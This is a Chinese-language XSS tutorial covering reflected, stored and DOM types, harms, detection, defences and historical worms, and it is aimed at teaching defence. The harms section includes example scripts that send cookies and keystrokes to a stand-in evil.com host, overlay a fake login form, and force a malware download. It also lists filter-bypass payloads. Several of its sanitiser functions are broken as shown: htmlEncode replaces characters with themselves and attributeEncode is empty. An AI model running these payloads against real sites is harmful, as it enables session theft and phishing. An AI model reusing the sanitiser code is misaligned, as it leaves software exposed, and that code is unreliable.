跨站脚本攻击(XSS)详细介绍
一、什么是XSS
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意脚本代码,当用户访问该网站时,这些脚本会在用户的浏览器中执行,从而窃取用户敏感信息、劫持用户会话、篡改网页内容等。
核心原理:攻击者利用网站对用户输入过滤不严格的问题,将恶意代码注入到网页中。
二、XSS攻击类型
1. 反射型XSS(非持久型)
特点:恶意脚本不存储在目标服务器,而是通过URL参数、表单提交等方式即时反射回来执行。
攻击流程:
用户点击恶意链接 → 请求发送到服务器 → 服务器返回带恶意脚本的页面 → 用户浏览器执行脚本
示例:
<!-- 存在漏洞的搜索功能 -->
<input type="text" name="search" value="<?php echo $_GET['search']; ?>"><!-- 攻击者构造的URL -->
http://example.com/search.php?search=<script>alert('XSS')</script>
2. 存储型XSS(持久型)
特点:恶意脚本被永久存储在目标服务器(数据库、文件系统等),每当用户访问受影响页面时都会执行。
攻击流程:
攻击者提交恶意数据 → 服务器存储到数据库 → 其他用户请求页面 → 服务器返回恶意脚本 → 用户浏览器执行
常见场景:
- 评论区/论坛帖子
- 用户个人资料(签名、介绍)
- 留言板
- 商品评论
示例:
// 攻击者在评论区提交
<script>fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>// 其他用户查看评论时,cookie被窃取
3. DOM型XSS
特点:完全不经过服务器,通过修改DOM环境中的JavaScript代码执行。
攻击流程:
用户点击链接 → 客户端JavaScript解析URL参数 → 直接修改DOM → 恶意脚本执行
示例:
<!-- 漏洞代码 -->
<script>var name = location.hash.substring(1);document.write("Welcome " + name);
</script><!-- 攻击URL -->
http://example.com/#<img src=x onerror=alert(1)>
三、XSS的危害
1. 会话劫持
// 窃取Cookie
var img = new Image();
img.src = 'http://evil.com/steal?cookie=' + document.cookie;
2. 键盘记录
document.onkeypress = function(e) {fetch('http://evil.com/log', {method: 'POST',body: 'key=' + e.key});
}
3. 钓鱼攻击
// 伪造登录表单
document.body.innerHTML = `<div style="position:absolute;top:0;width:100%;height:100%;background:white"><form action="http://evil.com/phish"><input type="password" name="password"><button>请重新登录</button></form></div>
`;
4. 内网探测
// 探测内网IP
fetch('http://192.168.1.1').then(res => fetch('http://evil.com/ip?found=true'));
5. 强制下载恶意软件
window.location = 'http://evil.com/virus.exe';
四、XSS检测方法
1. 手动测试Payload
基础测试:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
绕过过滤:
<!-- 大小写混淆 -->
<ScRiPt>alert(1)</ScRiPt><!-- 编码绕过 -->
<img src=x onerror=alert(1)><!-- 事件属性 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus><!-- 伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
2. 自动化工具
- Burp Suite - 专业Web安全测试工具
- OWASP ZAP - 开源安全扫描器
- XSStrike - 高级XSS检测工具
- Arachni - 全功能Web扫描器
五、防御措施
1. 输出编码(最重要)
根据上下文选择正确的编码方式:
// HTML实体编码
function htmlEncode(str) {return str.replace(/[&<>]/g, function(m) {if (m === '&') return '&';if (m === '<') return '<';if (m === '>') return '>';return m;});
}// HTML属性编码
function attributeEncode(str) {return str.replace(/[&<>"']/g, function(m) {// 编码所有特殊字符});
}// JavaScript编码
function jsEncode(str) {return str.replace(/[\\'"]/g, function(m) {return '\\' + m.charCodeAt(0).toString(16);});
}
2. 输入过滤(白名单优先)
// 使用白名单
$allowedTags = '<b><i><u>';
$clean = strip_tags($input, $allowedTags);// 使用HTML Purifier(PHP)
require_once 'HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$clean = $purifier->purify($input);
3. 使用CSP(内容安全策略)
# HTTP响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
<!-- Meta标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-abc123'">
4. Cookie安全设置
Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict
- HttpOnly:禁止JavaScript访问Cookie
- Secure:仅HTTPS传输
- SameSite:防止CSRF和部分XSS滥用
5. 使用安全框架
React(自动转义):
// 默认安全
<div>{userInput}</div> // 危险操作(需谨慎)
<div dangerouslySetInnerHTML={{__html: userInput}} />
Vue:
<!-- 自动转义文本 -->
<div>{{ userInput }}</div><!-- 危险操作 -->
<div v-html="userInput"></div>
其他框架:
- Angular - 默认编码
- Django模板 - 自动转义
- Ruby on Rails - 自动转义
六、实战案例
案例1:Twitter的XSS蠕虫(2010年)
- 利用存储型XSS
- 自动发送带恶意链接的推文
- 短时间内感染数十万用户
- 教训:未过滤JSONP回调参数
案例2:MySpace的Samy蠕虫(2005年)
- 利用DOM型XSS
- 16小时内感染100万用户
- 绕过过滤器:
javascript:拼接、事件属性混淆
案例3:某电商平台评论XSS
- 评论功能未过滤
<img>标签 - 攻击者窃取管理员Cookie
- 获取后台权限,盗取用户数据
七、检测与修复工具
开发阶段
- ESLint (with security plugin)
- OWASP Dependency-Check
- Snyk
测试阶段
- OWASP ZAP
- Burp Suite Professional
- Google CSP Evaluator
运行时防护
- ModSecurity (WAF)
- Cloudflare WAF
- AWS WAF
八、最佳实践总结
- 永远不要信任用户输入
- 采用白名单而非黑名单过滤
- 根据输出位置选择合适的编码方式
- 实施严格的CSP策略
- 使用HttpOnly和Secure标志的Cookie
- 定期进行安全审计和渗透测试
- 保持框架和依赖库的更新
- 安全团队进行代码审查
- 建立漏洞报告和应急响应机制
- 开发人员必须接受安全培训
XSS虽然历史悠久,但在现代Web应用中仍然普遍存在。通过理解其原理、掌握防御技术,可以有效降低安全风险。记住:输出编码是防御XSS的核心,配合CSP和HttpOnly Cookie才能构建完整防御体系。
